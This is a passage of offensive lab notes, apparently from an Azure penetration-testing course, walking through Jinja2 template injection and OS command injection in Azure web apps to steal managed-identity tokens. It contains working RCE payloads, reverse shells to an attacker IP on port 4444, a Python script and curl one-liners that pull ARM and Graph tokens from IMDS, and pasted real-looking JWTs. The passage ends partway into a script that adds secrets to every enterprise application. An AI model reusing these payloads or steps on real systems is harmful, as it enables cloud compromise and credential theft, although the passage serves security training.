    • #{7*7} for Thymeleaf (Java).

    {{7*7}}

    As we can see on the screenshot above, we’ve tried the syntax {{7*7}} into the email field and it simply multiplied it to 49, spiting the result on top of the page.

    Enumerate the Template Engine

    Based on the successful response, we can determine which template engine is being used. This step is critical because different template engines have different syntax, features, and potential for exploitation.
    We may try different payloads to see which one executes, thereby identifying the engine.

    • Python: Django, Jinja2, Mako, ...
    • Java: Freemarker, Jinjava, Velocity, ...
    • Ruby: ERB, Slim, ...

    Now by simply adding a last digit into single quotes, we are able to see that this time the output is a bunch of 7s, even tho we do not see 49 this time, this means that we successfully triggered our payload.
    {{7*'7'}}

    In this case we have identified that we are using Python (Jinja2). Jinja2 is used by Python Web Frameworks such as Django or Flask.


    We can also issue the following command and we are able to get several variables that can also help us to identify what engine we are using.

    {{config.items()}}

    From Code Execution to Identity Theft

    The moment we achieve command execution on the vaultfrontend container, our focus immediately shifts from the application layer to the identity layer. Just like in the previous lab, this specific Azure resource runs with a System-Assigned Managed Identity, which acts as its digital passport for the cloud. We leverage our web shell to make the internal API call to the Azure Instance Metadata Service (IMDS). Because we are running commands inside the trusted environment, Azure complies with our request and hands us a bearer token that represents the legitimate identity of the web app, allowing us to effectively "become" the vaultfrontend service in the eyes of the entire Microsoft cloud.

    To be able to run a command we can use the 'os' module and call the Popen method in it.

    {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

    Amazing, we can see above that not only we are able to execute Operating System Commands, as we also discovered that this is a Linux based machine and the service is also running as Root, which is the Highest Privilege in our target machine.

    Now, if we now check ENV from this Operating System we shall also find IDENTITY_HEADER and also IDENTITY_ENDPOINT headers..

    {{config.__class__.__init__.__globals__['os'].popen('env').read()}}

    Now, let’s say we would like to get the Access Token now, we can simply use cURL inside our payload and make the request.

    {{config.__class__.__init__.__globals__['os'].popen('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER').read()}}

    We can simple copy/paste the access token and the access token.

    eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6InJ0c0ZULWItN0x1WTdEVlllU05LY0lKN1ZuYyIsImtpZCI6InJ0c0ZULWItN0x1WTdEVlllU05LY0lKN1ZuYyJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlhdCI6MTc2NTczNDE2MCwibmJmIjoxNzY1NzM0MTYwLCJleHAiOjE3NjU4MjA4NjAsImFpbyI6IkFXUUFtLzhhQUFBQXMxNzdob2hwQTNFeGJoeTB1UG1EUmVXMHVOUUlRSU5jSW9kUzZNQUVtZzZFY2c4K1piUm91VlFqM29xOFhaSXJxeFdoU2F4VjQvbU1TWEN2UVg0d0RuVDFpTUdXSm40MVg3WllWZTYyQVNSRzJsc2pQOXVPeG9JUGVYSmtQN3liIiwiYXBwaWQiOiIyZTkxYTRmZS1hMGYyLTQ2ZWUtODIxNC1mYTJmZjZhYTlhYmMiLCJhcHBpZGFjciI6IjIiLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8yZDUwY2IyOS01ZjdiLTQ4YTQtODdjZS1mZTc1YTk0MWFkYjYvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiIzMGU2NzcyNy1hOGI4LTQ4ZDktODMwMy1mMjQ2OWRmOTdjYjIiLCJyaCI6IjEuQUhBQUtjdFFMWHRmcEVpSHp2NTFxVUd0dGtaSWYza0F1dGRQdWtQYXdmajJNQk1rQVFCd0FBLiIsInN1YiI6IjMwZTY3NzI3LWE4YjgtNDhkOS04MzAzLWYyNDY5ZGY5N2NiMiIsInRpZCI6IjJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNiIsInV0aSI6Ikc1WlhPTEVlN2t5S04yT2RLSWVKQUEiLCJ2ZXIiOiIxLjAiLCJ4bXNfYWN0X2ZjdCI6IjMgOSIsInhtc19mdGQiOiJxYndBa3BTRTBVZGRtcU5jcEVfNDR5RTAyMmFVbmJRS0RkUHlQaG4zeXZrQloyVnliV0Z1ZVhkakxXUnpiWE0iLCJ4bXNfaWRyZWwiOiI3IDIwIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvYjQxMzgyNmYtMTA4ZC00MDQ5LThjMTEtZDUyZDVkMzg4NzY4L3Jlc291cmNlZ3JvdXBzL1Jlc2VhcmNoL3Byb3ZpZGVycy9NaWNyb3NvZnQuV2ViL3NpdGVzL3ZhdWx0ZnJvbnRlbmQiLCJ4bXNfcmQiOiIwLjQyTGxZQkppTEJBUzRlQVVFdkRzbVJpOF91Y041M242d1h0MkxXWVVBWXB5Q0FtNGVkUlhNdXk2N3JfTC1kYkJIOThNaEFFIiwieG1zX3N1Yl9mY3QiOiIzIDkiLCJ4bXNfdGNkdCI6MTYxNTM3NTYyOX0.oCDKEWLooXLrCMPc298LkSE7WnFmdtLKaJRipFgShMsRYWyZxtUnbvSm1p6ZUZZ4EexWfndlUX790DIs3i8l040Wdd6-DgfUhCmFn9vg1r9_c2VxcLno7q0xr3lEZjsiHN-QOxKVsjZdYvjE-OEsyG5TL3291-AKVZOWy-RKhUfYEFmvXCbun_6EkhDex5Eb23cXLAn-ppLxi0sP6YFIcLGcmQ_YtarReh9YpW-OnQnOB0pEex3K2sZHMhe94gqDbp9cnpJlwtj1Tc1RN2zVYs4BGIaoWA90I0pmdwzH5IQzgXvkuEWhrmnfSSGEQGboYj1mP3iGTl5Jsyzrsb26Pw

    Accessing the Vault

    This phase demonstrates the severe blast radius of cloud identity compromise. We can now use the Access Token found and Account ID with Az PowerShell to find all accessible resources.

    $token = 'eyJ0e..’

    Connect-AzAccount -AccessToken $token -AccountId 2e91a4fe- a0f2-46ee-8214-fa2ff6aa9abc

    SCREENSHOT-HERE

    After enumerating the permissions of our stolen token, we discover that this web application identity was granted access to the ResearchKeyVault, likely to read configuration secrets or certificates needed for its normal operation. This finding completes the kill chain: we started with a generic web vulnerability (SSTI), converted it into a privileged cloud identity (IMDS abuse), and successfully pivoted to the data plane to access the high-security Key Vault. This proves that a vulnerability in a frontend website can directly compromise the cryptographic "crown jewels" of the backend infrastructure if permissions are not strictly scoped.

    Getting Reverse Shell

    We can also get a reverse shell abusing the SSTI vulnerability as well, now that we have see that we do have RCE on our target. BUT, due to limitation on this lab, we could not make this VaultFrontEnd to communicate with out attacking machine.

    Bash Scripting

    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("sh -i >& /dev/tcp/172.16.150.59/4444 0>&1")}}

    Python

    {{ self.__init__.__globals__.__builtins__.__import__('os').popen('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.150.59",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])\'').read() }}

  • Initial Access - App Service Abuse - OS Command injection

    The Mechanics of Cloud-Native Command Injection

    Operating System Command Injection acts as the initial breach vector in this scenario, but its implications in Azure are fundamentally different from on-premises environments.
    While the vulnerability technically occurs because the web application fails to sanitize user input before passing it to a system shell, the impact is not limited to the local container. In a standard server, RCE allows you to steal local files or pivot network traffic, however, in Azure PaaS services like App Services or Function Apps, RCE is effectively a mechanism for Identity Theft. The exploit allows an attacker to execute the specific commands necessary to communicate with the Azure Instance Metadata Service (IMDS) from within the trusted boundary of the application container, bypassing network firewalls that would normally block external access to this interface.

    The Identity Bridge and Pivoting Strategy

    The critical moment in this attack is the translation of a low-privileged execution context into a high-privileged identity token. Once the attacker establishes remote code execution on the processfile Function App, they execute a curl command to the internal IDENTITY_ENDPOINT. This action causes the Azure infrastructure to issue a JSON Web Token (JWT) belonging to the application's Managed Identity. Unlike previous scenarios where the identity had permissions on Azure resources (like VMs or Key Vaults), this specific identity appears initially powerless regarding infrastructure. This forces the attacker to pivot from the Azure Resource Plane (Management Group/Subscription) to the Entra ID Identity Plane (Microsoft Graph) to uncover hidden privileges scoped to directory objects rather than infrastructure resources.

    Enumerating OS Command Injection

    For this lab, we do have an application hosted in https://virusscanner.azurewebsites.net/.
    Once we do access the webserver, we are able to see that we are dealing with a scanner webpage. This page allows us to scan our files (by uploading .zip files only)and we can also pass a URL and the Application will check the status of the URL we’ve submitted.

    Well, Both services are vulnerable. The first one is the FileUpload Vulnerability and the second is OS Command Injection.
    As you may see on below screenshot, we have passed www.google.com URL and it returned Status Code: 200. This status code basically mean OK, the URL is up and running.

    Well, it seems like the backend is somehow using any tool internally to check if the URL is responding or not, it could be cURL or any other tool.
    There are several payloads that we can use to find out if the specific parameter is vulnerable to OS Command Injection or not. Does Payloads can be used in PayloadAllTheThings github.

    Chaining Commands

    In many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands.

    • ; (Semicolon): Allows you to execute multiple commands sequentially.
    • && (AND): Execute the second command only if the first command succeeds (returns a zero exit status).
    • || (OR): Execute the second command only if the first command fails (returns a non-zero exit status).
    • & (Background): Execute the command in the background, allowing the user to continue using the shell.
    • | (Pipe): Takes the output of the first command and uses it as the input for the second command.
    command1; command2   # Execute command1 and then command2
    command1 && command2 # Execute command2 only if command1 succeeds
    command1 || command2 # Execute command2 only if command1 fails
    command1 & command2  # Execute command1 in the background
    command1 | command2  # Pipe the output of command1 into command2

    &&id&&

    We successfully triggered the command execution using &&id&& because we managed to isolate our injected command from the hidden suffix arguments that the backend script automatically appends to our input.

    When we attempted to inject &&id only, the shell effectively constructed a command where the trailing arguments defined by the developer became invalid flags for our id command, causing it to crash due to a syntax error before it could display any output. By switching our payload to the "sandwiched" version, we forced the shell to treat the id command as a completely separate step in the execution chain. This strategy ensured that our command ran cleanly without any attached arguments and printed the uid=1000(app) details we see in the screenshot just before the shell attempted to execute the remaining junk code at the end of the line.

    Using the following payload, I was able to read the Environment variables as well and this we can find the IDENTITY_HEADER, IDENTITY_ENDPOINT and also what user is the application running as (root)

    Now if we use both IDENTITY_ENDPOINT and IDENTITY_HEADER we can create a payload to reveal the Token.
    Since we do have a FileUpload vulnerability that allows us to upload a zip file and it stores under /tmp dir, we can simply combine both vulnerabilities to read tokens.

    Let’s start by upload the following .py code inside a zip file.

    import os
    import json
    
    IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
    IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
    
    cmd = 'curl "%s?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
    
    val = os.popen(cmd).read()
    
    print("[+] Management API")
    print("Access Token: "+json.loads(val)["access_token"])
    print("ClientID: "+json.loads(val)["client_id"])
    
    cmd = 'curl "%s?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
    
    val = os.popen(cmd).read()
    print("\r\n[+] Graph API")
    print("Access Token: "+json.loads(val)["access_token"])
    print("ClientID: "+json.loads(val)["client_id"])
    

    Once we upload it we can simply go to the directory where the file is stored and execute it.

    http://localhost&&python /tmp/uploads/student59/student59.py&&

    We can see above that we were able to retrieve both ARM (Management API) and Graph API Tokens and client IDs as well.

    ARM (Management API) Token

    Access Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6InJ0c0ZULWItN0x1WTdEVlllU05LY0lKN1ZuYyIsImtpZCI6InJ0c0ZULWItN0x1WTdEVlllU05LY0lKN1ZuYyJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNi8iLCJpYXQiOjE3NjU3NTI3OTQsIm5iZiI6MTc2NTc1Mjc5NCwiZXhwIjoxNzY1ODM5NDk0LCJhaW8iOiJBV1FBbS84YUFBQUF1RXRjL25qbFJ4Q2xnMG5Xa0hTT3I0amdJdFUxb1RZbFMvamJZdjl6ejBrZmZOSVdiSjQrWXAycGxtNUZlWjdkUFhBVFpFck1IU1FFNW1KSVVJK2VNOEpabUlxR2tuQndjZ1h6V1V1VmdpS2lOQXJ2Y29qR1Y4Yk1ETktkbW1aMSIsImFwcGlkIjoiNjJlNDQ0MjYtNWM0Ni00ZTNjLThhODktZjQ2MWQ1ZDU4NmYyIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlkdHlwIjoiYXBwIiwib2lkIjoiZWE0YzNjMTctOGE1ZC00ZTFmLTk1NzctYjI5ZGZmZjA3MzBjIiwicmgiOiIxLkFYQUFLY3RRTFh0ZnBFaUh6djUxcVVHdHRrWklmM2tBdXRkUHVrUGF3ZmoyTUJNa0FRQndBQS4iLCJzdWIiOiJlYTRjM2MxNy04YTVkLTRlMWYtOTU3Ny1iMjlkZmZmMDczMGMiLCJ0aWQiOiIyZDUwY2IyOS01ZjdiLTQ4YTQtODdjZS1mZTc1YTk0MWFkYjYiLCJ1dGkiOiJiU3R1b1FRZ3JVZTFFd1p4dGFkeUFBIiwidmVyIjoiMS4wIiwieG1zX2FjdF9mY3QiOiI5IDMiLCJ4bXNfZnRkIjoibVZtUnFDV1EycGFYcFVvd1l0U3JfQTV2RVowYWpYYlQ0ZlVxclJYa2pKUUJaMlZ5YldGdWVYZGpMV1J6YlhNIiwieG1zX2lkcmVsIjoiMjAgNyIsInhtc19taXJpZCI6Ii9zdWJzY3JpcHRpb25zL2I0MTM4MjZmLTEwOGQtNDA0OS04YzExLWQ1MmQ1ZDM4ODc2OC9yZXNvdXJjZWdyb3Vwcy9JVC9wcm92aWRlcnMvTWljcm9zb2Z0LldlYi9zaXRlcy9wcm9jZXNzZmlsZSIsInhtc19yZCI6IjAuNDJMbFlCSmlMQkFTNGVBVUV2RHNtUmk4X3VjTjUzbjZ3WHQyTFdZVUFZcHlDQW00ZWRSWE11eTY3cl9MLWRiQkg5OE1oQUUiLCJ4bXNfc3ViX2ZjdCI6IjMgOSIsInhtc190Y2R0IjoiMTYxNTM3NTYyOSJ9.AGrfVSoaBFu6gBvgbuvyd3ZNfKLiuhVtNteDLCGzsRmVMNxDYIfD9Q99o-h1VQpuj4Gha3SvoAk7sXzPjt-h-CEFYszwpk7LljKMmSQ8PlqsVIpZM06bCio1W-hJeeAOhHcWwaJIU1Y-k8v62lJkYsvDfPe2wmEyOBpd_65emQBjv6lUJmDn8He4pql94Lk_KJJEEDNpRGEfYeNu2l_eqTTT8hrZQsANd4BqlEaoesAIn7tJ7o7KFZlU7l1hvhrrXTiSteJS_cWv8P4nEE9_FEnTb5zGwcJURghJRtTOhGcvUAHj7RgYlFeVvCc5gU9iC85lc9-E6TxqQnGkf3lTnQ

    Graph API Token

    Access Token: eyJ0eXAiOiJKV1QiLCJub25jZSI6IlA1MV90bXd1RUZhMXl5YUE5SnZXZGFSQmt1Mms5Vk5yUzFWYTljVVQ3Qm8iLCJhbGciOiJSUzI1NiIsIng1dCI6InJ0c0ZULWItN0x1WTdEVlllU05LY0lKN1ZuYyIsImtpZCI6InJ0c0ZULWItN0x1WTdEVlllU05LY0lKN1ZuYyJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20vIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlhdCI6MTc2NTc1MTAxMiwibmJmIjoxNzY1NzUxMDEyLCJleHAiOjE3NjU4Mzc3MTIsImFpbyI6ImsySmdZR2d1Y21IVWNqQXYzbURIOFZaaFhZc2VBQT09IiwiYXBwX2Rpc3BsYXluYW1lIjoicHJvY2Vzc2ZpbGUiLCJhcHBpZCI6IjYyZTQ0NDI2LTVjNDYtNGUzYy04YTg5LWY0NjFkNWQ1ODZmMiIsImFwcGlkYWNyIjoiMiIsImlkcCI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNi8iLCJpZHR5cCI6ImFwcCIsIm9pZCI6ImVhNGMzYzE3LThhNWQtNGUxZi05NTc3LWIyOWRmZmYwNzMwYyIsInJoIjoiMS5BSEFBS2N0UUxYdGZwRWlIenY1MXFVR3R0Z01BQUFBQUFBQUF3QUFBQUFBQUFBQWtBUUJ3QUEuIiwic3ViIjoiZWE0YzNjMTctOGE1ZC00ZTFmLTk1NzctYjI5ZGZmZjA3MzBjIiwidGVuYW50X3JlZ2lvbl9zY29wZSI6IkFTIiwidGlkIjoiMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2IiwidXRpIjoia3cyLWNVN0h0RU9uMmQ4X25ueEVBQSIsInZlciI6IjEuMCIsIndpZHMiOlsiMDk5N2ExZDAtMGQxZC00YWNiLWI0MDgtZDVjYTczMTIxZTkwIl0sInhtc19hY3RfZmN0IjoiOSAzIiwieG1zX2Z0ZCI6IkotNGNWbEFKOGtwOFE5VzdRYWpabzl3ZDV6a1o1bGpuSEF0VG1kQ0VFd0lCWjJWeWJXRnVlWGRqTFdSemJYTSIsInhtc19pZHJlbCI6IjIyIDciLCJ4bXNfcmQiOiIwLjQyTGxZQkppTEJBUzRlQVVFdmdkY0diMzFTbktQcHQwQWhOdnp3a1RCb3B5Q0Frd00wREFBU2dOQUEiLCJ4bXNfc3ViX2ZjdCI6IjMgOSIsInhtc190Y2R0IjoxNjE1Mzc1NjI5LCJ4bXNfdG50X2ZjdCI6IjMgOCJ9.H06Zn9kB2DmlFwGG8LXf0P33XyHXjuausbbjpAjPuo8zhoXEGFg1QkPzNRdt2bMXCSR2VgxlcJLgsNqMTsyFDT0Hd4ordQA_A5J1lgSK_KmyocbhMdxN8baQL7QkUlvzIvekF_reDyF-IDY6WJWI5Awhphos8WCaal7b4KcRaAa3GCEmEyk_Yv98WUFpecNwc64nPw9xe3mgygNzeYUOrG4wUVXUy-WahhN4hSuLlE_3pxoP6fv8GMisYB4HoiOe1xp2STHp1xT0TOmHA1-e0fo88UsbfbKdrVULksVwLlH4CedkWrXkPb4OHLMJh8scVJjhqJgEkvkk1FVN29jrwQ

    Stealing Token Via OS Command Injection

    This time we will try to get both Graph Token and ARM Token as well, we simply need to run two curl commands in a row, separated by the && operator.

    1. Request 1: Target resource=https://management.azure.com/ (For controlling VMs, Web Apps, etc.)
    1. Request 2: Target resource=https://graph.microsoft.com/ (For controlling Users, Groups, and App Registrations).

    The Payload (One-Liner)

    http://localhost&&echo "---ARM TOKEN---"&&curl "$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/" -H "X-IDENTITY-HEADER: $IDENTITY_HEADER"&&echo "---GRAPH TOKEN---"&&curl "$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://graph.microsoft.com/" -H "X-IDENTITY-HEADER: $IDENTITY_HEADER"&&

    What to do with the Output

    Since the Bash command returns raw JSON, your output will look like two large blocks of text starting with {"access_token":"eyJ..."....

    You will need to manually copy the text starting inside the access_token quotes:

    1. First Block: This is your ARM Token (use this for exploring subscriptions and VMs).
    "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6InJ0c0ZULWItN0x1WTdEVlllU05LY0lKN1ZuYyIsImtpZCI6InJ0c0ZULWItN0x1WTdEVlllU05LY0lKN1ZuYyJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNi8iLCJpYXQiOjE3NjU3NTI3OTQsIm5iZiI6MTc2NTc1Mjc5NCwiZXhwIjoxNzY1ODM5NDk0LCJhaW8iOiJBV1FBbS84YUFBQUF1RXRjL25qbFJ4Q2xnMG5Xa0hTT3I0amdJdFUxb1RZbFMvamJZdjl6ejBrZmZOSVdiSjQrWXAycGxtNUZlWjdkUFhBVFpFck1IU1FFNW1KSVVJK2VNOEpabUlxR2tuQndjZ1h6V1V1VmdpS2lOQXJ2Y29qR1Y4Yk1ETktkbW1aMSIsImFwcGlkIjoiNjJlNDQ0MjYtNWM0Ni00ZTNjLThhODktZjQ2MWQ1ZDU4NmYyIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlkdHlwIjoiYXBwIiwib2lkIjoiZWE0YzNjMTctOGE1ZC00ZTFmLTk1NzctYjI5ZGZmZjA3MzBjIiwicmgiOiIxLkFYQUFLY3RRTFh0ZnBFaUh6djUxcVVHdHRrWklmM2tBdXRkUHVrUGF3ZmoyTUJNa0FRQndBQS4iLCJzdWIiOiJlYTRjM2MxNy04YTVkLTRlMWYtOTU3Ny1iMjlkZmZmMDczMGMiLCJ0aWQiOiIyZDUwY2IyOS01ZjdiLTQ4YTQtODdjZS1mZTc1YTk0MWFkYjYiLCJ1dGkiOiJiU3R1b1FRZ3JVZTFFd1p4dGFkeUFBIiwidmVyIjoiMS4wIiwieG1zX2FjdF9mY3QiOiI5IDMiLCJ4bXNfZnRkIjoibVZtUnFDV1EycGFYcFVvd1l0U3JfQTV2RVowYWpYYlQ0ZlVxclJYa2pKUUJaMlZ5YldGdWVYZGpMV1J6YlhNIiwieG1zX2lkcmVsIjoiMjAgNyIsInhtc19taXJpZCI6Ii9zdWJzY3JpcHRpb25zL2I0MTM4MjZmLTEwOGQtNDA0OS04YzExLWQ1MmQ1ZDM4ODc2OC9yZXNvdXJjZWdyb3Vwcy9JVC9wcm92aWRlcnMvTWljcm9zb2Z0LldlYi9zaXRlcy9wcm9jZXNzZmlsZSIsInhtc19yZCI6IjAuNDJMbFlCSmlMQkFTNGVBVUV2RHNtUmk4X3VjTjUzbjZ3WHQyTFdZVUFZcHlDQW00ZWRSWE11eTY3cl9MLWRiQkg5OE1oQUUiLCJ4bXNfc3ViX2ZjdCI6IjMgOSIsInhtc190Y2R0IjoiMTYxNTM3NTYyOSJ9.AGrfVSoaBFu6gBvgbuvyd3ZNfKLiuhVtNteDLCGzsRmVMNxDYIfD9Q99o-h1VQpuj4Gha3SvoAk7sXzPjt-h-CEFYszwpk7LljKMmSQ8PlqsVIpZM06bCio1W-hJeeAOhHcWwaJIU1Y-k8v62lJkYsvDfPe2wmEyOBpd_65emQBjv6lUJmDn8He4pql94Lk_KJJEEDNpRGEfYeNu2l_eqTTT8hrZQsANd4BqlEaoesAIn7tJ7o7KFZlU7l1hvhrrXTiSteJS_cWv8P4nEE9_FEnTb5zGwcJURghJRtTOhGcvUAHj7RgYlFeVvCc5gU9iC85lc9-E6TxqQnGkf3lTnQ"
    1. Second Block: This is your Graph Token (use this for the secret injection/password reset step in the next part of the lab).
    "eyJ0eXAiOiJKV1QiLCJub25jZSI6IlA1MV90bXd1RUZhMXl5YUE5SnZXZGFSQmt1Mms5Vk5yUzFWYTljVVQ3Qm8iLCJhbGciOiJSUzI1NiIsIng1dCI6InJ0c0ZULWItN0x1WTdEVlllU05LY0lKN1ZuYyIsImtpZCI6InJ0c0ZULWItN0x1WTdEVlllU05LY0lKN1ZuYyJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20vIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlhdCI6MTc2NTc1MTAxMiwibmJmIjoxNzY1NzUxMDEyLCJleHAiOjE3NjU4Mzc3MTIsImFpbyI6ImsySmdZR2d1Y21IVWNqQXYzbURIOFZaaFhZc2VBQT09IiwiYXBwX2Rpc3BsYXluYW1lIjoicHJvY2Vzc2ZpbGUiLCJhcHBpZCI6IjYyZTQ0NDI2LTVjNDYtNGUzYy04YTg5LWY0NjFkNWQ1ODZmMiIsImFwcGlkYWNyIjoiMiIsImlkcCI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNi8iLCJpZHR5cCI6ImFwcCIsIm9pZCI6ImVhNGMzYzE3LThhNWQtNGUxZi05NTc3LWIyOWRmZmYwNzMwYyIsInJoIjoiMS5BSEFBS2N0UUxYdGZwRWlIenY1MXFVR3R0Z01BQUFBQUFBQUF3QUFBQUFBQUFBQWtBUUJ3QUEuIiwic3ViIjoiZWE0YzNjMTctOGE1ZC00ZTFmLTk1NzctYjI5ZGZmZjA3MzBjIiwidGVuYW50X3JlZ2lvbl9zY29wZSI6IkFTIiwidGlkIjoiMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2IiwidXRpIjoia3cyLWNVN0h0RU9uMmQ4X25ueEVBQSIsInZlciI6IjEuMCIsIndpZHMiOlsiMDk5N2ExZDAtMGQxZC00YWNiLWI0MDgtZDVjYTczMTIxZTkwIl0sInhtc19hY3RfZmN0IjoiOSAzIiwieG1zX2Z0ZCI6IkotNGNWbEFKOGtwOFE5VzdRYWpabzl3ZDV6a1o1bGpuSEF0VG1kQ0VFd0lCWjJWeWJXRnVlWGRqTFdSemJYTSIsInhtc19pZHJlbCI6IjIyIDciLCJ4bXNfcmQiOiIwLjQyTGxZQkppTEJBUzRlQVVFdmdkY0diMzFTbktQcHQwQWhOdnp3a1RCb3B5Q0Frd00wREFBU2dOQUEiLCJ4bXNfc3ViX2ZjdCI6IjMgOSIsInhtc190Y2R0IjoxNjE1Mzc1NjI5LCJ4bXNfdG50X2ZjdCI6IjMgOCJ9.H06Zn9kB2DmlFwGG8LXf0P33XyHXjuausbbjpAjPuo8zhoXEGFg1QkPzNRdt2bMXCSR2VgxlcJLgsNqMTsyFDT0Hd4ordQA_A5J1lgSK_KmyocbhMdxN8baQL7QkUlvzIvekF_reDyF-IDY6WJWI5Awhphos8WCaal7b4KcRaAa3GCEmEyk_Yv98WUFpecNwc64nPw9xe3mgygNzeYUOrG4wUVXUy-WahhN4hSuLlE_3pxoP6fv8GMisYB4HoiOe1xp2STHp1xT0TOmHA1-e0fo88UsbfbKdrVULksVwLlH4CedkWrXkPb4OHLMJh8scVJjhqJgEkvkk1FVN29jrwQ"

    Now, as usual, we can use both the tokens and Client ID with Az PowerShell and check the resources accessible to the managed identity

    We should import both token into a powershell variable and use them with Az PowerShell commands.

    Connect-AzAccount -AccessToken $ARM_Token -MicrosoftGraphAccessToken $Graph_Token -AccountID "62e44426-5c46-4e3c-8a89-f461d5d586f2"

    Above we should be able to see DefCorp in subscription and also the Tenant ID.

    Now if we try to list the resources we will end up getting an error.

    Get-AzResource

    We started our post-exploitation analysis by attempting to enumerate Azure infrastructure resources using standard Azure PowerShell commands, but this resulted in a critical error stating that the SubscriptionId cannot be null. This specific failure is actually a valuable finding because it confirms that the Managed Identity we compromised exists purely within the Identity Plane and possesses zero permissions on the Resource Plane, meaning it cannot see Virtual Machines or Subscriptions. Because the account successfully logged into the directory but failed to set a default subscription context, we were forced to abandon infrastructure tools like Get-AzResource and pivot strictly to interacting with the Microsoft Graph API.

    We circumvented the infrastructure restriction by switching our strategy to send direct REST API requests to the Microsoft Graph endpoints. Let's use the Graph API token with the REST API to list all Enterprise Applications in the defcorphq tenant.

    $Graph_Token = 'eyJ0eX..'
    $URI = ' https://graph.microsoft.com/v1.0/applications'
    $RequestParams = @{
    Method = 'GET'
    Uri = $URI
    Headers = @{'Authorization' = "Bearer $Token"}
    }
    (Invoke-RestMethod @RequestParams).value

    This approach proved successful when we received a full list of Enterprise Applications, such as Student420, confirming that our stolen token allows us to perform directory reconnaissance even if we cannot see the underlying servers. We validated that bypassing the buggy standard cmdlets in favor of raw API calls was the correct decision to generate our list of potential targets within the organization's software catalog. Above we have several Enterprise Application (Service Principals).



    Let’s moved to active exploitation using the Add-AzADAppSecret automation script to perform a credential injection attack against the target list we generated.
    We can use the Add-AzADAppSecret.ps1 PowerShell Script. It tries to add a secret (application password) to all the enterprise applications and shows the successful ones.

    • Add-AzADAppSecret.ps1
      Function Add-AzADAppSecret
      {
      
      <#
          .SYNOPSIS
              Add client secret to the applications.
      
          .PARAMETER GraphToken
              Pass the Graph API Token 
      
          .EXAMPLE
              PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..'
      
          .LINK
              https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http
              https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http
      #>
      
          [CmdletBinding()]
          param(
          [Parameter(Mandatory=$True)]
          [String]
          $GraphToken = $null
          )
      
          $AppList = $null
          $AppPassword = $null
      
          # List All the Applications
      
      
          $Params = @{
           "URI"     = "https://graph.microsoft.com/v1.0/applications"
           "Method"  = "GET"
           "Headers" = @{
           "Content-Type"  = "application/json"
           "Authorization" = "Bearer $GraphToken"
           }
          }
      
          try
          { 
              $AppList = Invoke-RestMethod @Params -UseBasicParsing
          }
          catch
          {
          }
      
          # Add Password in the Application
      
          if($AppList -ne $null)
          {
              [System.Collections.ArrayList]$Details = @()
      
              foreach($App in $AppList.value)
              {
                  $ID = $App.ID
